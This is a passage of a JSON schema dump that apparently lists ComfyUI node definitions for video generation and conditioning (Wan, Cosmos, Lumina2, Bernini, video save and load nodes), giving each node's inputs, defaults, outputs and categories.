"price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "CosmosPredict2ImageToVideoLatent": {"input": {"required": {"vae": ["VAE", {}], "width": ["INT", {"default": 848, "min": 16, "max": 16384, "step": 16}], "height": ["INT", {"default": 480, "min": 16, "max": 16384, "step": 16}], "length": ["INT", {"default": 93, "min": 1, "max": 16384, "step": 4}], "batch_size": ["INT", {"default": 1, "min": 1, "max": 4096}]}, "optional": {"start_image": ["IMAGE", {}], "end_image": ["IMAGE", {}]}}, "input_order": {"required": ["vae", "width", "height", "length", "batch_size"], "optional": ["start_image", "end_image"]}, "is_input_list": false, "output": ["LATENT"], "output_is_list": [false], "output_name": ["LATENT"], "output_tooltips": [null], "output_matchtypes": null, "name": "CosmosPredict2ImageToVideoLatent", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_cosmos", "category": "model/conditioning/cosmos", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "SaveWEBM": {"input": {"required": {"images": ["IMAGE", {"tooltip": "RGBA images are saved with their alpha channel as transparency (vp9 codec only)."}], "filename_prefix": ["STRING", {"default": "ComfyUI", "multiline": false}], "codec": ["COMBO", {"multiselect": false, "options": ["vp9", "av1"]}], "fps": ["FLOAT", {"default": 24.0, "min": 0.01, "max": 1000.0, "step": 0.01}], "crf": ["FLOAT", {"tooltip": "Higher crf means lower quality with a smaller file size, lower crf means higher quality higher filesize.", "default": 32.0, "min": 0, "max": 63.0, "step": 1}]}, "hidden": {"prompt": ["PROMPT"], "extra_pnginfo": ["EXTRA_PNGINFO"]}}, "input_order": {"required": ["images", "filename_prefix", "codec", "fps", "crf"], "hidden": ["prompt", "extra_pnginfo"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["images"], "output_tooltips": [null], "output_matchtypes": null, "name": "SaveWEBM", "display_name": "Save WEBM", "description": "", "python_module": "comfy_extras.nodes_video", "category": "video", "output_node": true, "deprecated": false, "experimental": true, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["export webm"], "essentials_category": null, "has_intermediate_output": false}, "SaveVideo": {"input": {"required": {"video": ["VIDEO", {"tooltip": "The video to save."}], "filename_prefix": ["STRING", {"tooltip": "The prefix for the file to save. This may include formatting information such as %date:yyyy-MM-dd% or %Empty Latent Image.width% to include values from nodes.", "default": "video/ComfyUI", "multiline": false}], "format": ["COMBO", {"tooltip": "The format to save the video as.", "default": "auto", "multiselect": false, "options": ["auto", "mp4"]}], "codec": ["COMBO", {"tooltip": "The codec to use for the video.", "default": "auto", "multiselect": false, "options": ["auto", "h264"]}]}, "hidden": {"prompt": ["PROMPT"], "extra_pnginfo": ["EXTRA_PNGINFO"]}}, "input_order": {"required": ["video", "filename_prefix", "format", "codec"], "hidden": ["prompt", "extra_pnginfo"]}, "is_input_list": false, "output": ["VIDEO"], "output_is_list": [false], "output_name": ["video"], "output_tooltips": [null], "output_matchtypes": null, "name": "SaveVideo", "display_name": "Save Video", "description": "Saves the input images to your ComfyUI output directory.", "python_module": "comfy_extras.nodes_video", "category": "video", "output_node": true, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["export video"], "essentials_category": "Basics", "has_intermediate_output": false}, "CreateVideo": {"input": {"required": {"images": ["IMAGE", {"tooltip": "The images to create a video from."}], "fps": ["FLOAT", {"default": 30.0, "min": 1.0, "max": 120.0, "step": 1.0}]}, "optional": {"audio": ["AUDIO", {"tooltip": "The audio to add to the video."}], "bit_depth": ["INT", {"tooltip": "Bit depth of the created video. 10-bit keeps smoother gradients with less banding, but some players and downstream nodes may not support it.", "default": 8, "min": 8, "max": 10, "step": 2, "display": "number"}]}}, "input_order": {"required": ["images", "fps"], "optional": ["audio", "bit_depth"]}, "is_input_list": false, "output": ["VIDEO"], "output_is_list": [false], "output_name": ["VIDEO"], "output_tooltips": [null], "output_matchtypes": null, "name": "CreateVideo", "display_name": "Create Video", "description": "Create a video from images.", "python_module": "comfy_extras.nodes_video", "category": "video", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["images to video"], "essentials_category": "Video Tools", "has_intermediate_output": false}, "GetVideoComponents": {"input": {"required": {"video": ["VIDEO", {"tooltip": "The video to extract components from."}]}}, "input_order": {"required": ["video"]}, "is_input_list": false, "output": ["IMAGE", "AUDIO", "FLOAT", "INT"], "output_is_list": [false, false, false, false], "output_name": ["images", "audio", "fps", "bit_depth"], "output_tooltips": [null, null, null, null], "output_matchtypes": null, "name": "GetVideoComponents", "display_name": "Get Video Components", "description": "Extracts all components from a video: frames, audio, framerate, and bit depth.", "python_module": "comfy_extras.nodes_video", "category": "video", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["extract frames", "split video", "video to images", "demux"], "essentials_category": null, "has_intermediate_output": false}, "LoadVideo": {"input": {"required": {"file": ["COMBO", {"multiselect": false, "options": [], "video_upload": true}]}}, "input_order": {"required": ["file"]}, "is_input_list": false, "output": ["VIDEO"], "output_is_list": [false], "output_name": ["VIDEO"], "output_tooltips": [null], "output_matchtypes": null, "name": "LoadVideo", "display_name": "Load Video", "description": "", "python_module": "comfy_extras.nodes_video", "category": "video", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["import video", "open video", "video file"], "essentials_category": "Basics", "has_intermediate_output": false}, "Video Slice": {"input": {"required": {"video": ["VIDEO", {}], "start_time": ["FLOAT", {"tooltip": "Start time in seconds", "default": 0.0, "min": -100000.0, "max": 100000.0, "step": 0.001}], "duration": ["FLOAT", {"tooltip": "Duration in seconds, or 0 for unlimited duration", "default": 0.0, "min": 0.0, "step": 0.001}], "strict_duration": ["BOOLEAN", {"tooltip": "If True, when the specified duration is not possible, an error will be raised.", "default": false}]}}, "input_order": {"required": ["video", "start_time", "duration", "strict_duration"]}, "is_input_list": false, "output": ["VIDEO"], "output_is_list": [false], "output_name": ["VIDEO"], "output_tooltips": [null], "output_matchtypes": null, "name": "Video Slice", "display_name": "Trim Video", "description": "", "python_module": "comfy_extras.nodes_video", "category": "video", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["trim video duration", "skip first frames", "frame load cap", "start time"], "essentials_category": "Video Tools", "has_intermediate_output": false}, "CLIPTextEncodeLumina2": {"input": {"required": {"system_prompt": ["COMBO", {"tooltip": "Lumina2 provide two types of system prompts:Superior: You are an assistant designed to generate superior images with the superior degree of image-text alignment based on textual prompts or user prompts. Alignment: You are an assistant designed to generate high-quality images with the highest degree of image-text alignment based on textual prompts.", "multiselect": false, "options": ["superior", "alignment"]}], "user_prompt": ["STRING", {"tooltip": "The text to be encoded.", "multiline": true, "dynamicPrompts": true}], "clip": ["CLIP", {"tooltip": "The CLIP model used for encoding the text."}]}}, "input_order": {"required": ["system_prompt", "user_prompt", "clip"]}, "is_input_list": false, "output": ["CONDITIONING"], "output_is_list": [false], "output_name": ["CONDITIONING"], "output_tooltips": ["A conditioning containing the embedded text used to guide the diffusion model."], "output_matchtypes": null, "name": "CLIPTextEncodeLumina2", "display_name": "CLIP Text Encode (Lumina 2)", "description": "Encodes a system prompt and a user prompt using a CLIP model into an embedding that can be used to guide the diffusion model towards generating specific images.", "python_module": "comfy_extras.nodes_lumina2", "category": "model/conditioning/lumina", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["lumina prompt"], "essentials_category": null, "has_intermediate_output": false}, "RenormCFG": {"input": {"required": {"model": ["MODEL", {}], "cfg_trunc": ["FLOAT", {"advanced": true, "default": 100, "min": 0.0, "max": 100.0, "step": 0.01}], "renorm_cfg": ["FLOAT", {"advanced": true, "default": 1.0, "min": 0.0, "max": 100.0, "step": 0.01}]}}, "input_order": {"required": ["model", "cfg_trunc", "renorm_cfg"]}, "is_input_list": false, "output": ["MODEL"], "output_is_list": [false], "output_name": ["MODEL"], "output_tooltips": [null], "output_matchtypes": null, "name": "RenormCFG", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_lumina2", "category": "model/patch", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "WanTrackToVideo": {"input": {"required": {"positive": ["CONDITIONING", {}], "negative": ["CONDITIONING", {}], "vae": ["VAE", {}], "tracks": ["STRING", {"default": "[]", "multiline": true}], "width": ["INT", {"default": 832, "min": 16, "max": 16384, "step": 16}], "height": ["INT", {"default": 480, "min": 16, "max": 16384, "step": 16}], "length": ["INT", {"default": 81, "min": 1, "max": 16384, "step": 4}], "batch_size": ["INT", {"default": 1, "min": 1, "max": 4096}], "temperature": ["FLOAT", {"advanced": true, "default": 220.0, "min": 1.0, "max": 1000.0, "step": 0.1}], "topk": ["INT", {"advanced": true, "default": 2, "min": 1, "max": 10}], "start_image": ["IMAGE", {}]}, "optional": {"clip_vision_output": ["CLIP_VISION_OUTPUT", {}]}}, "input_order": {"required": ["positive", "negative", "vae", "tracks", "width", "height", "length", "batch_size", "temperature", "topk", "start_image"], "optional": ["clip_vision_output"]}, "is_input_list": false, "output": ["CONDITIONING", "CONDITIONING", "LATENT"], "output_is_list": [false, false, false], "output_name": ["positive", "negative", "latent"], "output_tooltips": [null, null, null], "output_matchtypes": null, "name": "WanTrackToVideo", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_wan", "category": "model/conditioning/wan/move", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["motion tracking", "trajectory video", "point tracking", "keypoint animation"], "essentials_category": null, "has_intermediate_output": false}, "WanImageToVideo": {"input": {"required": {"positive": ["CONDITIONING", {}], "negative": ["CONDITIONING", {}], "vae": ["VAE", {}], "width": ["INT", {"default": 832, "min": 16, "max": 16384, "step": 16}], "height": ["INT", {"default": 480, "min": 16, "max": 16384, "step": 16}], "length": ["INT", {"default": 81, "min": 1, "max": 16384, "step": 4}], "batch_size": ["INT", {"default": 1, "min": 1, "max": 4096}]}, "optional": {"clip_vision_output": ["CLIP_VISION_OUTPUT", {}], "start_image": ["IMAGE", {}]}}, "input_order": {"required": ["positive", "negative", "vae", "width", "height", "length", "batch_size"], "optional": ["clip_vision_output", "start_image"]}, "is_input_list": false, "output": ["CONDITIONING", "CONDITIONING", "LATENT"], "output_is_list": [false, false, false], "output_name": ["positive", "negative", "latent"], "output_tooltips": [null, null, null], "output_matchtypes": null, "name": "WanImageToVideo", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_wan", "category": "model/conditioning/wan", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "WanFunControlToVideo": {"input": {"required": {"positive": ["CONDITIONING", {}], "negative": ["CONDITIONING", {}], "vae": ["VAE", {}], "width": ["INT", {"default": 832, "min": 16, "max": 16384, "step": 16}], "height": ["INT", {"default": 480, "min": 16, "max": 16384, "step": 16}], "length": ["INT", {"default": 81, "min": 1, "max": 16384, "step": 4}], "batch_size": ["INT", {"default": 1, "min": 1, "max": 4096}]}, "optional": {"clip_vision_output": ["CLIP_VISION_OUTPUT", {}], "start_image": ["IMAGE", {}], "control_video": ["IMAGE", {}]}}, "input_order": {"required": ["positive", "negative", "vae", "width", "height", "length", "batch_size"], "optional": ["clip_vision_output", "start_image", "control_video"]}, "is_input_list": false, "output": ["CONDITIONING", "CONDITIONING", "LATENT"], "output_is_list": [false, false, false], "output_name": ["positive", "negative", "latent"], "output_tooltips": [null, null, null], "output_matchtypes": null, "name": "WanFunControlToVideo", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_wan", "category": "model/conditioning/wan/fun control", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "Wan22FunControlToVideo": {"input": {"required": {"positive": ["CONDITIONING", {}], "negative": ["CONDITIONING", {}], "vae": ["VAE", {}], "width": ["INT", {"default": 832, "min": 16, "max": 16384, "step": 16}], "height": ["INT", {"default": 480, "min": 16, "max": 16384, "step": 16}], "length": ["INT", {"default": 81, "min": 1, "max": 16384, "step": 4}], "batch_size": ["INT", {"default": 1, "min": 1, "max": 4096}]}, "optional": {"ref_image": ["IMAGE", {}], "control_video": ["IMAGE", {}]}}, "input_order": {"required": ["positive", "negative", "vae", "width", "height", "length", "batch_size"], "optional": ["ref_image", "control_video"]}, "is_input_list": false, "output": ["CONDITIONING", "CONDITIONING", "LATENT"], "output_is_list": [false, false, false], "output_name": ["positive", "negative", "latent"], "output_tooltips": [null, null, null], "output_matchtypes": null, "name": "Wan22FunControlToVideo", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_wan", "category": "model/conditioning/wan/fun control", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "WanFunInpaintToVideo": {"input": {"required": {"positive": ["CONDITIONING", {}], "negative": ["CONDITIONING", {}], "vae": ["VAE", {}], "width": ["INT", {"default": 832, "min": 16, "max": 16384, "step": 16}], "height": ["INT", {"default": 480, "min": 16, "max": 16384, "step": 16}], "length": ["INT", {"default": 81, "min": 1, "max": 16384, "step": 4}], "batch_size": ["INT", {"default": 1, "min": 1, "max": 4096}]}, "optional": {"clip_vision_output": ["CLIP_VISION_OUTPUT", {}], "start_image": ["IMAGE", {}], "end_image": ["IMAGE", {}]}}, "input_order": {"required": ["positive", "negative", "vae", "width", "height", "length", "batch_size"], "optional": ["clip_vision_output", "start_image", "end_image"]}, "is_input_list": false, "output": ["CONDITIONING", "CONDITIONING", "LATENT"], "output_is_list": [false, false, false], "output_name": ["positive", "negative", "latent"], "output_tooltips": [null, null, null], "output_matchtypes": null, "name": "WanFunInpaintToVideo", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_wan", "category": "model/conditioning/wan/fun inpaint", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "WanFirstLastFrameToVideo": {"input": {"required": {"positive": ["CONDITIONING", {}], "negative": ["CONDITIONING", {}], "vae": ["VAE", {}], "width": ["INT", {"default": 832, "min": 16, "max": 16384, "step": 16}], "height": ["INT", {"default": 480, "min": 16, "max": 16384, "step": 16}], "length": ["INT", {"default": 81, "min": 1, "max": 16384, "step": 4}], "batch_size": ["INT", {"default": 1, "min": 1, "max": 4096}]}, "optional": {"clip_vision_start_image": ["CLIP_VISION_OUTPUT", {}], "clip_vision_end_image": ["CLIP_VISION_OUTPUT", {}], "start_image": ["IMAGE", {}], "end_image": ["IMAGE", {}]}}, "input_order": {"required": ["positive", "negative", "vae", "width", "height", "length", "batch_size"], "optional": ["clip_vision_start_image", "clip_vision_end_image", "start_image", "end_image"]}, "is_input_list": false, "output": ["CONDITIONING", "CONDITIONING", "LATENT"], "output_is_list": [false, false, false], "output_name": ["positive", "negative", "latent"], "output_tooltips": [null, null, null], "output_matchtypes": null, "name": "WanFirstLastFrameToVideo", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_wan", "category": "model/conditioning/wan", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "WanVaceToVideo": {"input": {"required": {"positive": ["CONDITIONING", {}], "negative": ["CONDITIONING", {}], "vae": ["VAE", {}], "width": ["INT", {"default": 832, "min": 16, "max": 16384, "step": 16}], "height": ["INT", {"default": 480, "min": 16, "max": 16384, "step": 16}], "length": ["INT", {"default": 81, "min": 1, "max": 16384, "step": 4}], "batch_size": ["INT", {"default": 1, "min": 1, "max": 4096}], "strength": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1000.0, "step": 0.01}]}, "optional": {"control_video": ["IMAGE", {}], "control_masks": ["MASK", {}], "reference_image": ["IMAGE", {}]}}, "input_order": {"required": ["positive", "negative", "vae", "width", "height", "length", "batch_size", "strength"], "optional": ["control_video", "control_masks", "reference_image"]}, "is_input_list": false, "output": ["CONDITIONING", "CONDITIONING", "LATENT", "INT"], "output_is_list": [false, false, false, false], "output_name": ["positive", "negative", "latent", "trim_latent"], "output_tooltips": [null, null, null, null], "output_matchtypes": null, "name": "WanVaceToVideo", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_wan", "category": "model/conditioning/wan/vace", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["video conditioning", "video control"], "essentials_category": null, "has_intermediate_output": false}, "TrimVideoLatent": {"input": {"required": {"samples": ["LATENT", {}], "trim_amount": ["INT", {"default": 0, "min": 0, "max": 99999}]}}, "input_order": {"required": ["samples", "trim_amount"]}, "is_input_list": false, "output": ["LATENT"], "output_is_list": [false], "output_name": ["LATENT"], "output_tooltips": [null], "output_matchtypes": null, "name": "TrimVideoLatent", "display_name": "Trim Video Latent", "description": "", "python_module": "comfy_extras.nodes_wan", "category": "model/latent", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "WanCameraImageToVideo": {"input": {"required": {"positive": ["CONDITIONING", {}], "negative": ["CONDITIONING", {}], "vae": ["VAE", {}], "width": ["INT", {"default": 832, "min": 16, "max": 16384, "step": 16}], "height": ["INT", {"default": 480, "min": 16, "max": 16384, "step": 16}], "length": ["INT", {"default": 81, "min": 1, "max": 16384, "step": 4}], "batch_size": ["INT", {"default": 1, "min": 1, "max": 4096}]}, "optional": {"clip_vision_output": ["CLIP_VISION_OUTPUT", {}], "start_image": ["IMAGE", {}], "camera_conditions": ["WAN_CAMERA_EMBEDDING", {}]}}, "input_order": {"required": ["positive", "negative", "vae", "width", "height", "length", "batch_size"], "optional": ["clip_vision_output", "start_image", "camera_conditions"]}, "is_input_list": false, "output": ["CONDITIONING", "CONDITIONING", "LATENT"], "output_is_list": [false, false, false], "output_name": ["positive", "negative", "latent"], "output_tooltips": [null, null, null], "output_matchtypes": null, "name": "WanCameraImageToVideo", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_wan", "category": "model/conditioning/wan/camera", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "WanPhantomSubjectToVideo": {"input": {"required": {"positive": ["CONDITIONING", {}], "negative": ["CONDITIONING", {}], "vae": ["VAE", {}], "width": ["INT", {"default": 832, "min": 16, "max": 16384, "step": 16}], "height": ["INT", {"default": 480, "min": 16, "max": 16384, "step": 16}], "length": ["INT", {"default": 81, "min": 1, "max": 16384, "step": 4}], "batch_size": ["INT", {"default": 1, "min": 1, "max": 4096}]}, "optional": {"images": ["IMAGE", {}]}}, "input_order": {"required": ["positive", "negative", "vae", "width", "height", "length", "batch_size"], "optional": ["images"]}, "is_input_list": false, "output": ["CONDITIONING", "CONDITIONING", "CONDITIONING", "LATENT"], "output_is_list": [false, false, false, false], "output_name": ["positive", "negative_text", "negative_img_text", "latent"], "output_tooltips": [null, null, null, null], "output_matchtypes": null, "name": "WanPhantomSubjectToVideo", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_wan", "category": "model/conditioning/wan/phantom subject", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "WanSoundImageToVideo": {"input": {"required": {"positive": ["CONDITIONING", {}], "negative": ["CONDITIONING", {}], "vae": ["VAE", {}], "width": ["INT", {"default": 832, "min": 16, "max": 16384, "step": 16}], "height": ["INT", {"default": 480, "min": 16, "max": 16384, "step": 16}], "length": ["INT", {"default": 77, "min": 1, "max": 16384, "step": 4}], "batch_size": ["INT", {"default": 1, "min": 1, "max": 4096}]}, "optional": {"audio_encoder_output": ["AUDIO_ENCODER_OUTPUT", {}], "ref_image": ["IMAGE", {}], "control_video": ["IMAGE", {}], "ref_motion": ["IMAGE", {}]}}, "input_order": {"required": ["positive", "negative", "vae", "width", "height", "length", "batch_size"], "optional": ["audio_encoder_output", "ref_image", "control_video", "ref_motion"]}, "is_input_list": false, "output": ["CONDITIONING", "CONDITIONING", "LATENT"], "output_is_list": [false, false, false], "output_name": ["positive", "negative", "latent"], "output_tooltips": [null, null, null], "output_matchtypes": null, "name": "WanSoundImageToVideo", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_wan", "category": "model/conditioning/wan/sound", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "WanSoundImageToVideoExtend": {"input": {"required": {"positive": ["CONDITIONING", {}], "negative": ["CONDITIONING", {}], "vae": ["VAE", {}], "length": ["INT", {"default": 77, "min": 1, "max": 16384, "step": 4}], "video_latent": ["LATENT", {}]}, "optional": {"audio_encoder_output": ["AUDIO_ENCODER_OUTPUT", {}], "ref_image": ["IMAGE", {}], "control_video": ["IMAGE", {}]}}, "input_order": {"required": ["positive", "negative", "vae", "length", "video_latent"], "optional": ["audio_encoder_output", "ref_image", "control_video"]}, "is_input_list": false, "output": ["CONDITIONING", "CONDITIONING", "LATENT"], "output_is_list": [false, false, false], "output_name": ["positive", "negative", "latent"], "output_tooltips": [null, null, null], "output_matchtypes": null, "name": "WanSoundImageToVideoExtend", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_wan", "category": "model/conditioning/wan/sound", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "WanHuMoImageToVideo": {"input": {"required": {"positive": ["CONDITIONING", {}], "negative": ["CONDITIONING", {}], "vae": ["VAE", {}], "width": ["INT", {"default": 832, "min": 16, "max": 16384, "step": 16}], "height": ["INT", {"default": 480, "min": 16, "max": 16384, "step": 16}], "length": ["INT", {"default": 97, "min": 1, "max": 16384, "step": 4}], "batch_size": ["INT", {"default": 1, "min": 1, "max": 4096}]}, "optional": {"audio_encoder_output": ["AUDIO_ENCODER_OUTPUT", {}], "ref_image": ["IMAGE", {}]}}, "input_order": {"required": ["positive", "negative", "vae", "width", "height", "length", "batch_size"], "optional": ["audio_encoder_output", "ref_image"]}, "is_input_list": false, "output": ["CONDITIONING", "CONDITIONING", "LATENT"], "output_is_list": [false, false, false], "output_name": ["positive", "negative", "latent"], "output_tooltips": [null, null, null], "output_matchtypes": null, "name": "WanHuMoImageToVideo", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_wan", "category": "model/conditioning/wan/humo", "output_node": false, "deprecated": false, "experimental": true, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "WanAnimateToVideo": {"input": {"required": {"positive": ["CONDITIONING", {}], "negative": ["CONDITIONING", {}], "vae": ["VAE", {}], "width": ["INT", {"default": 832, "min": 16, "max": 16384, "step": 16}], "height": ["INT", {"default": 480, "min": 16, "max": 16384, "step": 16}], "length": ["INT", {"default": 77, "min": 1, "max": 16384, "step": 4}], "batch_size": ["INT", {"default": 1, "min": 1, "max": 4096}], "continue_motion_max_frames": ["INT", {"default": 5, "min": 1, "max": 16384, "step": 4}], "video_frame_offset": ["INT", {"tooltip": "The amount of frames to seek in all the input videos. Used for generating longer videos by chunk. Connect to the video_frame_offset output of the previous node for extending a video.", "default": 0, "min": 0, "max": 16384, "step": 1}]}, "optional": {"clip_vision_output": ["CLIP_VISION_OUTPUT", {}], "reference_image": ["IMAGE", {}], "face_video": ["IMAGE", {}], "pose_video": ["IMAGE", {}], "background_video": ["IMAGE", {}], "character_mask": ["MASK", {}], "continue_motion": ["IMAGE", {}]}}, "input_order": {"required": ["positive", "negative", "vae", "width", "height", "length", "batch_size", "continue_motion_max_frames", "video_frame_offset"], "optional": ["clip_vision_output", "reference_image", "face_video", "pose_video", "background_video", "character_mask", "continue_motion"]}, "is_input_list": false, "output": ["CONDITIONING", "CONDITIONING", "LATENT", "INT", "INT", "INT"], "output_is_list": [false, false, false, false, false, false], "output_name": ["positive", "negative", "latent", "trim_latent", "trim_image", "video_frame_offset"], "output_tooltips": [null, null, null, null, null, null], "output_matchtypes": null, "name": "WanAnimateToVideo", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_wan", "category": "model/conditioning/wan/animate", "output_node": false, "deprecated": false, "experimental": true, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "Wan22ImageToVideoLatent": {"input": {"required": {"vae": ["VAE", {}], "width": ["INT", {"default": 1280, "min": 32, "max": 16384, "step": 32}], "height": ["INT", {"default": 704, "min": 32, "max": 16384, "step": 32}], "length": ["INT", {"default": 49, "min": 1, "max": 16384, "step": 4}], "batch_size": ["INT", {"default": 1, "min": 1, "max": 4096}]}, "optional": {"start_image": ["IMAGE", {}]}}, "input_order": {"required": ["vae", "width", "height", "length", "batch_size"], "optional": ["start_image"]}, "is_input_list": false, "output": ["LATENT"], "output_is_list": [false], "output_name": ["LATENT"], "output_tooltips": [null], "output_matchtypes": null, "name": "Wan22ImageToVideoLatent", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_wan", "category": "model/conditioning/wan", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "WanInfiniteTalkToVideo": {"input": {"required": {"mode": ["COMFY_DYNAMICCOMBO_V3", {"options": [{"key": "single_speaker", "inputs": {"required": {}}}, {"key": "two_speakers", "inputs": {"required": {}, "optional": {"audio_encoder_output_2": ["AUDIO_ENCODER_OUTPUT", {}], "mask_1": ["MASK", {"tooltip": "Mask for the first speaker, required if using two audio inputs."}], "mask_2": ["MASK", {"tooltip": "Mask for the second speaker, required if using two audio inputs."}]}}}]}], "model": ["MODEL", {}], "model_patch": ["MODEL_PATCH", {}], "positive": ["CONDITIONING", {}], "negative": ["CONDITIONING", {}], "vae": ["VAE", {}], "width": ["INT", {"default": 832, "min": 16, "max": 16384, "step": 16}], "height": ["INT", {"default": 480, "min": 16, "max": 16384, "step": 16}], "length": ["INT", {"default": 81, "min": 1, "max": 16384, "step": 4}], "audio_encoder_output_1": ["AUDIO_ENCODER_OUTPUT", {}], "motion_frame_count": ["INT", {"tooltip": "Number of previous frames to use as motion context.", "advanced": true, "default": 9, "min": 1, "max": 33, "step": 1}], "audio_scale": ["FLOAT", {"default": 1.0, "min": -10.0, "max": 10.0, "step": 0.01}]}, "optional": {"clip_vision_output": ["CLIP_VISION_OUTPUT", {}], "start_image": ["IMAGE", {}], "previous_frames": ["IMAGE", {}]}}, "input_order": {"required": ["mode", "model", "model_patch", "positive", "negative", "vae", "width", "height", "length", "audio_encoder_output_1", "motion_frame_count", "audio_scale"], "optional": ["clip_vision_output", "start_image", "previous_frames"]}, "is_input_list": false, "output": ["MODEL", "CONDITIONING", "CONDITIONING", "LATENT", "INT"], "output_is_list": [false, false, false, false, false], "output_name": ["model", "positive", "negative", "latent", "trim_image"], "output_tooltips": [null, null, null, null, null], "output_matchtypes": null, "name": "WanInfiniteTalkToVideo", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_wan", "category": "model/conditioning/wan/infinite talk", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "BerniniConditioning": {"input": {"required": {"positive": ["CONDITIONING", {}], "negative": ["CONDITIONING", {}], "vae": ["VAE", {}], "width": ["INT", {"default": 832, "min": 16, "max": 8192, "step": 16}], "height": ["INT", {"default": 480, "min": 16, "max": 8192, "step": 16}], "length": ["INT", {"default": 81, "min": 1, "max": 8192, "step": 4}], "batch_size": ["INT", {"default": 1, "min": 1, "max": 4096}]}, "optional": {"source_video": ["IMAGE", {"tooltip": "Source video to edit or restyle (v2v, rv2v). Resized to width/height and trimmed to length."}], "reference_video": ["IMAGE", {"tooltip": "Video to insert into the source video (ads2v)."}], "reference_images": ["COMFY_AUTOGROW_V3", {"template": {"input": {"required": {"reference_image": ["IMAGE", {"tooltip": "Reference image injected as an in-context token (r2v, rv2v)."}]}}, "prefix": "reference_image_", "min": 0, "max": 8}}], "ref_max_size": ["INT", {"tooltip": "Max size for the long edge of reference_video and reference_images. Resized with preserved aspect ratio and snapped to 16px.", "default": 848, "min": 16, "max": 8192, "step": 16}]}}, "input_order": {"required": ["positive", "negative", "vae", "width", "height", "length", "batch_size"], "optional": ["source_video", "reference_video", "reference_images", "ref_max_size"]}, "is_input_list": false, "output": ["CONDITIONING", "CONDITIONING", "LATENT"], "output_is_list": [false, false, false], "output_name": ["positive", "negative", "latent"], "output_tooltips": [null, null, null], "output_matchtypes": null, "name": "BerniniConditioning", "display_name": "Bernini Conditioning", "description": "Conditioning node for Bernini in-context video/image conditioning. It can be used for the following tasks: t2v (text-to-video), v2v (video-to-video), rv2v (reference-guided video editing), r2v (reference-to-video), ads2v (insert image/video into video).Reference images injected as in-context tokens (r2v, rv2v) are encoded independently at their own native aspect ratio (long edge capped at ref_max_size)", "python_module": "comfy_extras.nodes_bernini", "category": "model/conditioning/bernini", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "LotusConditioning": {"input": {"required": {}}, "input_order": {"required": []}, "is_input_list": false, "output": 